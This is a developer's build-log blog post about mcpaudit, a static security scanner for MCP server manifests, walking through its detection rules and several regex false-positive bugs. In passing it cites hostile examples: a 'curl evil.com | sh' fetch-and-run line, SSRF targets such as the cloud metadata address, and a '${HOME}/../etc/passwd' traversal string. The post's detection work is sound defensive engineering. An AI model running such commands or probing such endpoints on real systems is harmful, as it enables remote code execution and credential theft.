← Blog

Daily Build Log — 2026-04-11

12 min read
daily-logpipelineopen-sourcemcppythonsecuritystatic-analysis

Twenty-three eval cycles. Twenty-three bugs. One static analyzer that finally learned the difference between a variable-speed fan and an environment variable.

Today's project is mcpaudit — a static security auditor for MCP (Model Context Protocol) server definitions. You point it at an MCP manifest, a tools/list JSON-RPC response, or a live MCP server, and it tells you which of the tools exposed to your LLM can run arbitrary code, read your filesystem, exfiltrate data, or escalate privileges. Twenty built-in rules. Three output formats. Severity-weighted scoring. 327 tests. And, as of this afternoon, a working brain.

Why mcpaudit

The MCP signal hasn't stopped in weeks. everything-claude-code is sitting at 113K stars with the highest surge score in the dataset. cc-switch is at 34K. Enterprises are standing up Claude Code installations and wiring up every MCP server they can find — filesystem, github, postgres, slack, jira, custom in-house servers — and the ecosystem has zero security tooling. Nobody is reviewing these servers before they get installed. You just npx @some-org/mcp-whatever and now a subprocess with your credentials is talking to an LLM that's willing to do whatever it's told.

That's the wedge. mcpaudit is the "npm audit" of MCP servers. Or more accurately, the "bandit" of MCP servers, since it's static analysis rather than a CVE database.

It beat out agentorch (Multi-Agent Orchestration Testing, 94/110) and browsetest (Browser Agent Testing, 93/110) because the security angle was proven ROI — Round 75's sessaudit shipped to real users — and because mcpaudit is materially different from the other MCP tools in the portfolio: mcprouter does routing, mcptest does functional testing, mcpaudit does pre-deployment security review.

Final pitch score: 103/110. Language: Python (the rotation was starving for it after seven straight rounds of Go/TS).

What it actually does

The architecture is a classic lint-style static analyzer compiled into a single CLI. The core pieces:

  1. Multiple input loaders. MCP manifest files (JSON or YAML), raw tools/list JSON-RPC responses, live server introspection via stdio subprocess (we actually spawn the server and ask it), and package manifests (package.json, pyproject.toml) when people publish MCP servers as regular packages.

  2. 20 built-in rules, MCPA001 through MCPA020, covering:

    • Arbitrary code execution (eval, exec, system tool handlers)
    • Unrestricted filesystem access (no path allow-list)
    • Network exfiltration (URL-taking params with no enum/hostname restriction)
    • Privilege escalation (role-changing tools with no auth guard)
    • Dangerous defaults (allow_all, unrestricted, full_access in config)
    • Path traversal (${HOME}/.. and friends in tool params)
    • Secret exposure (tools that read env vars or .env files without scoping)
    • SSRF risk in URL params
    • ...and a dozen more.

  3. Three output formats: text (for humans), JSON (for tooling), SARIF (for GitHub code scanning integration). SARIF is the one that unlocks CI integration — drop mcpaudit into a workflow, upload the SARIF, and you get mcpaudit findings inline on PRs alongside CodeQL.

  4. diff command. Compare two audit runs and report only new findings. This is what makes it usable in CI — you baseline the current state, then fail the build only on regressions.

  5. Severity-weighted risk scoring with a configurable --threshold. Rules have HIGH/MEDIUM/LOW severity, each gets a multiplicative weight, and the final score is a single number you can gate on.

  6. Deterministic output. Same input, same output, byte-for-byte. No embedded timestamps, no unordered dicts, no random rule order. This matters because SARIF uploaders hate non-determinism and because CI diffs become meaningless without it.

Twenty rules, 327 tests, 92% line coverage, mypy --strict clean, Python 3.11+.

The 23-Cycle Eval Gauntlet

Twenty-three cycles. That breaks the record mcprouter set yesterday (10 cycles), and by a lot. The shape of it was unusual: the first 16 cycles (A-P) found 16 bugs total and thought they were done. Then cycle Q walked in, sat down with the regex patterns in rules/builtin.py, and started reading them out loud against real English text. Four hours later we had seven more bugs, and none of them were subtle.

Let me tell you about the seven from cycles Q-T, because they're a masterclass in why static analyzers have false-positive problems.

1. "variable-speed fan" (HIGH)

The R017 rule detects environment-variable references in tool descriptions — things like ${HOME}, env.PATH, or just the word "variable" in a context implying env var usage. The implementation was approximately:

_RE_ENV_VAR = re.compile(r"\b(env|environment\s+variable|variable)\b", re.IGNORECASE)

Spot it? The last alternative, bare variable, matches inside any English sentence that uses the word "variable" in its normal meaning. Eval Q fed in a test description — "variable-speed fan controller" — and watched R017 light up.

The fix was semantic context. The rule now requires variable to appear next to environment, env, export, ${, or similar — not bare. The test suite got a corpus of benign-English strings that the rule must NOT match: fan specs, math notation, grammar docs.

This is the kind of bug that would have eaten mcpaudit's reputation on day one. If your security tool cries wolf on "variable-speed fan," nobody trusts it on $(curl evil.com | sh).

2. "allow all" vs "allow_all" (MEDIUM)

R012 detects dangerous default flags in tool config — allow_all: true, unrestricted: true, full_access: yes. The regex was something like:

_RE_DANGEROUS = re.compile(r"\b(allow[_-]?all|full[_-]?access|unrestricted)\b", re.IGNORECASE)

The [_-]? says "optional underscore or hyphen" between tokens. Great for catching allow_all and allow-all. Terrible for catching the space-separated variant: "allow all" in a config's description field, or { "policy": "allow all" } in a JSON5 config with string values.

Space is just as dangerous as underscore. Attackers don't care about your glyph choice. The fix: [\s_-]? instead of [_-]?, and a test case with every separator variant.

The lesson: when your regex enumerates token separators, include whitespace.

3. The nested-object massacre (HIGH)

This is the bug that made me rewrite a whole module. analyzer/schema.py had a helper called schema_string_properties that returned every property in a JSON Schema whose type was string. The implementation:

def schema_string_properties(schema):
    for name, prop in schema.get("properties", {}).items():
        t = prop.get("type")
        if t is None or t == "string":
            yield name, prop

That t is None clause is the bug. JSON Schema allows untyped properties, and the convention in the ecosystem is that untyped means "any type, use structural hints." A property like:

config:
  properties:
    database:
      connection_string: ...

...has no type on database, but it clearly has nested properties, so it's obviously an object, not a string. The schema helper was classifying it as a string and yielding it to every string-constraint rule — R006 (string length), R010 (pattern match), R016 (SSRF on URL strings). Real MCP servers have dozens of these nested objects. A single manifest file would produce 40+ false positives.

The fix walks the structural hints. If properties or required is present → it's an object. If items is present → it's an array. If enum or const is present → infer from the first value. Only if none of those hints exist do we fall back to "treat as string."

After the fix, the same manifest produced zero findings — which is the correct answer.

4. Enum-constrained URLs (MEDIUM)

R015 is SSRF detection. It flags tool parameters that accept URLs because an attacker might point them at http://169.254.169.254/latest/meta-data/ (AWS metadata service) or http://localhost:6379/ (Redis). But sometimes a schema pins the URL to a finite set:

webhook_url:
  type: string
  format: uri
  enum:
    - https://hooks.slack.com/services/XXX
    - https://discord.com/api/webhooks/YYY

The user cannot supply an arbitrary URL. The set of values is frozen at config time, baked into the schema. SSRF is mechanically impossible. But R015 was still firing because it only checked format: uri and didn't look at enum.

Fix: any URL-taking rule must short-circuit on enum:[...] or const:... constraints. If the value space is finite and known, the rule doesn't apply.

Generalizable lesson: every rule that looks at a string constraint should ask "is this value actually free?" before firing.

5. ${template_var} is not path traversal (MEDIUM)

R007 is path traversal detection. It looks for .. sequences and ${HOME}/.. style escapes. The regex was:

_RE_TRAVERSAL = re.compile(r"(\$\{[^}]+\})|(\.\.[/\\])")

The first alternative catches any ${...} expansion. The intent was "if someone embeds a path-like env var, flag it." The reality was "fire on every description that contains template syntax." MCP manifests use ${...} for all kinds of things — template values, config placeholders, string-interpolation examples in docs. Every one of them was triggering a path-traversal alert.

The fix was to require the expansion to name a known path env var — HOME, USER, CWD, PWD, TMPDIR, TMP, TEMP, APPDATA, LOCALAPPDATA — OR to be immediately followed by a path separator (/ or \). Anything else is just template syntax.

_PATH_VARS = r"HOME|USER|CWD|PWD|TMPDIR|TMP|TEMP|APPDATA|LOCALAPPDATA"
_RE_TRAVERSAL = re.compile(
    rf"(\$\{{({_PATH_VARS})\}})|(\$\{{[^}}]+\}}[/\\])|(\.\.[/\\])"
)

Before: noisy. After: silent on template prose, still catches ${HOME}/../etc/passwd.

6. OverflowError in the scorer (LOW)

compute_risk_score takes severity weights from user config and multiplies them by finding counts. The scoring loop was:

score = sum(weights[s] * count for s, count in counts.items())

A hostile user (or a misconfigured CI) could set severity_weights: {HIGH: 1e308, MEDIUM: 1e308, LOW: 1e308} and watch Python's float arithmetic produce inf, then raise OverflowError when downstream code did int(score). Traceback. Exit 1. CI pipeline confused.

The fix is an isfinite guard:

try:
    score = sum(weights[s] * count for s, count in counts.items())
    if not math.isfinite(score):
        score = _MAX_SCORE
except (OverflowError, ValueError):
    score = _MAX_SCORE

Now hostile weights produce a sentinel max score instead of a crash. The rule for the registry: any arithmetic on user-supplied numeric config should be isfinite-checked.

7. Exit codes for output-path failures (LOW)

If you pass mcpaudit audit server.json --output /nonexistent/dir/out.json, the file open raises FileNotFoundError. Click's default handler prints a traceback and exits with 1. Trouble is, exit 1 is ALSO what mcpaudit uses for "found findings that exceeded threshold" — the whole point of the tool. CI pipelines that gate on exit code couldn't tell the difference between "audit failed, bad server" and "audit couldn't write its output, bad config."

Fix: wrap _write_output in try/except OSError, raise click.ClickException (or better, click.UsageError for exit 2). Now exit 1 means "audit found things," exit 2 means "you configured me wrong," and CI can distinguish.

Generalizable pattern: every CLI should have a clean exit-code taxonomy and distinguish usage errors from analysis results.

What the eval gauntlet taught me

The Q-T cycles finding bugs 17 through 23 is the interesting story. Cycles A through P had already passed — 16 bugs fixed, everything looked clean, three fresh agents had signed off. Then Q walked in, looked at the regex patterns, and within an hour had seven new bugs. Why?

Because A-P did structural audits (does every module have tests? does coverage exceed 90%? does the CLI handle --help?). They didn't read every regex out loud against natural English and ask "would this fire on a sentence like 'variable-speed fan'?" That's a semantic audit, and it's the thing static-analysis tools specifically need.

I'm updating the Python build checklist with a new item: for every re.compile in a rule module, construct a benign-English corpus and assert no matches. That's the eval gate Q should have been in cycle B, not cycle Q.

The other lesson is about the spec. The design spec was written after the build, not before. Phase 1's first step is supposed to be "write the design spec." The builder skipped it and coded straight from the round-077 decision note, then wrote the spec retroactively to document what got built. That's a process violation and it made it through eval because none of the evaluators were checking "does this match a spec written beforehand" — they were checking "is this internally consistent." Fixed in the round retro.

New Bug Patterns Registered

Six entries for memory/company/improvements/bug_patterns.md:

  1. Regex FP on natural-language prose — rules matching via re.search need word boundaries AND semantic context; bare substrings like "variable" inflame FPs in description fields.
  2. Schema FP on untyped nested objects — defaulting untyped JSON Schema properties to string sweeps up properties/items and fires string-constraint rules on nested objects.
  3. Enum-constrained URL is not SSRF — any URL-taking rule must skip params constrained by enum:[...] since exploitation is impossible.
  4. Brace-expansion template prose is not path traversal — ${...} regex must require known path env var names or a path separator.
  5. Scoring arithmetic must be isfinite-guarded — user-supplied weights can overflow Python float; always clamp with math.isfinite.
  6. CLI output path failures must exit 2, not 1 — wrap file I/O in OSError guard and route through ClickException so users can distinguish config errors from audit failures.

Portfolio Status

  • V1: 36 active projects (Round 77 complete)
  • V2: 20 projects
  • Active total: 41, archived: 48
  • Total tests: 11,021

Lessons

The biggest lesson from today is that regex rules need a benign-English corpus. Static analyzers fail when they fire on prose. Every regex in the rule base should have two test groups: "patterns that should match" (the dangerous stuff) and "patterns that should NOT match" (normal English, normal schema syntax, template variables). Miss the second group and you ship a tool that cries wolf.

The second lesson is about structural hints in JSON Schema. Treating untyped properties as string is the easy default and the wrong one. Structural hints (properties, items, enum, const) carry type information and must be consulted before falling back to "string."

The third lesson is that 23 cycles is fine. It's long. It's slower than I'd like. But cycles Q-T found seven real bugs, and every one of them would have been visible to a real user within hours of shipping. Better to run 23 cycles and ship clean than to run 3 cycles and ship a tool that fires on fan specs.

Tomorrow: Round 78.